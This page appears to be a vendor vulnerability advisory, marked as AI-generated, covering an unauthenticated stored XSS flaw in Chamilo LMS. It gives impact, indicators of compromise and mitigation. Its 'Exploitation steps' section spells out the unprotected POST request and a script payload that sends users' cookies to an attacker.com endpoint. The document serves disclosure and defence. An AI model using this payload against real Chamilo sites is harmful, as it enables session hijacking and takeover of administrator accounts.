CVE-2026-61582: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-61582 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS, an open-source learning management system. The flaw exists in the update_users action of main/inc/ajax/user_manager.ajax.php, which is exposed without any authorization check and accepts unsanitized firstname, lastname, and email values from unauthenticated attackers. All versions of Chamilo LMS prior to 1.11.40 (including 1.11.38 and 1.11.36) are affected; Chamilo 2.0.0 is not affected as the vulnerable endpoint no longer exists. The vulnerability was published on November 18, 2026, and fixed in version 1.11.40. It carries a CVSS v4.0 base score of 6.4 (Medium) (GitHub Advisory, Feedly).

Technical details

The root cause is a combination of broken access control (CWE-862) and improper neutralization of input during web page generation (CWE-79). The AJAX endpoint main/inc/ajax/user_manager.ajax.php handles the update_users action without calling any authentication or authorization guard, allowing any unauthenticated HTTP client to submit a POST request with a crafted users JSON payload containing malicious JavaScript in the firstname, lastname, or email fields. These values are stored verbatim in the user table and subsequently rendered without HTML escaping on multiple high-traffic pages: user_portal.php, the admin user listing (main/admin/user_list.php), user information (main/admin/user_information.php), social profile (main/social/profile.php), course participant list (main/user/user.php), and the message-composer recipient header (main/messages/new_message.php). The fix (commit f822558) adds an api_protect_admin_script(true) call to restrict the action to administrators and applies attr_on_filter(html_filter(...)) sanitization to all user-controlled fields (GitHub Commit, GitHub Advisory).

Impact

An unauthenticated attacker can persistently inject arbitrary JavaScript into any user's profile fields, causing the payload to execute in the browser session of every user who views any page that renders the modified account. When the targeted account is the platform administrator (default user_id=1), the XSS payload is rendered to all logged-in users via user_portal.php, enabling session cookie theft, unauthorized in-session administrative actions (such as creating rogue admin accounts or modifying course content), and platform-wide malware delivery. The advisory notes this vulnerability can be chained with a related unauthenticated email-rewrite flaw to combine a loud account takeover (email change → password reset) with a silent persistent XSS foothold (GitHub Advisory).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been confirmed as of the publication date. The EPSS score is 0.0 and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and low complexity — an attacker only needs network access to the target Chamilo instance and passive user interaction (a victim viewing a page that renders the injected account) to trigger the payload (Feedly, GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing Chamilo LMS instances running versions prior to 1.11.40 using search engines (Shodan, Censys) or by checking the version string in the Chamilo portal footer or /documentation/changelog.html.
  2. Identify target user: Determine the user ID of a high-value target (e.g., the platform administrator, typically user_id=1) by browsing public-facing pages such as course participant lists or social profiles that expose user IDs.
  3. Craft malicious payload: Prepare a JSON payload with a JavaScript XSS string embedded in the firstname, lastname, or email field, e.g.: {"users": "[{\"user_id\": 1, \"firstname\": \"<script>document.location='https://attacker.com/steal?c='+document.cookie</script>\"}]"}.
  4. Send unauthenticated POST request: Submit the payload to the unprotected AJAX endpoint without any session cookie or authentication token: POST /main/inc/ajax/user_manager.ajax.php?a=update_users with the crafted users parameter.
  5. Wait for victim interaction: The stored XSS payload now resides in the database. When any user (including administrators) visits user_portal.php, the admin user listing, social profile, or other affected pages, the script executes in their browser.
  6. Harvest session data: The attacker's server receives stolen session cookies or tokens, which can be used to hijack the victim's authenticated session and perform actions on their behalf (GitHub Advisory, GitHub Commit).

Indicators of compromise

  • Network: Unexpected unauthenticated POST requests to /main/inc/ajax/user_manager.ajax.php with the a=update_users parameter from external or unknown IP addresses; outbound HTTP requests from user browsers to unknown external domains (potential cookie exfiltration endpoints).
  • Logs: Web server access logs showing POST requests to user_manager.ajax.php?a=update_users without a valid authenticated session cookie; repeated requests targeting specific user_id values (especially user_id=1).
  • Database: User records in the user table with firstname, lastname, or email fields containing HTML tags (e.g., <script>, <img, onerror=) or JavaScript URI schemes (javascript:).
  • Browser/Application: Unexpected JavaScript execution or redirects when administrators or users visit user_portal.php, the admin user listing, social profiles, or the message composer; anomalous admin actions (new accounts created, permissions changed) not initiated by known administrators (GitHub Advisory).

Mitigation and workarounds

Upgrade Chamilo LMS to version 1.11.40 or later, which restricts the update_users AJAX action to administrators via api_protect_admin_script(true) and applies HTML sanitization (attr_on_filter(html_filter(...))) to all user-controlled profile fields. Chamilo 2.0.0 is not affected as the vulnerable endpoint does not exist in that version. As an interim workaround for administrators unable to upgrade immediately, consider blocking unauthenticated external access to main/inc/ajax/user_manager.ajax.php at the web server or WAF level, or restricting access to the AJAX endpoint to authenticated sessions only (GitHub Advisory, GitHub Release, GitHub Commit).

Community reactions

The vulnerability was reported by security researcher Sean Matthews and credited to QbVulnReport. The advisory was published by Chamilo maintainer ywarnier on July 7, 2026, and the CVE was formally published on November 18, 2026. The Quarkslab blog referenced Chamilo LMS vulnerabilities in a broader research post titled "It's Raining 0days," and the vulnerability received coverage in The Hacker News weekly recap. Community aggregators including VulnDB, Vulners, and CVEFeed.io indexed the vulnerability shortly after NVD publication (GitHub Advisory, Quarkslab Blog, The Hacker News).

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-r66h-vhqv-h27fHIGH8.3
  • PHP logoPHP
  • bubka/2fauth
NoYesNov 23, 2026
GHSA-qjrw-7726-v758HIGH7.1
  • PHP logoPHP
  • code16/sharp
NoYesNov 23, 2026
GHSA-835v-w4x6-rh9jMEDIUM6.5
  • PHP logoPHP
  • bubka/2fauth
NoYesNov 23, 2026
GHSA-c4w6-v59v-38v5LOWN/A
  • PHP logoPHP
  • yiisoft/validator
NoYesNov 23, 2026
GHSA-2gm6-xjf3-cqmmHIGHN/A
  • PHP logoPHP
  • exceedone/exment
NoYesNov 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management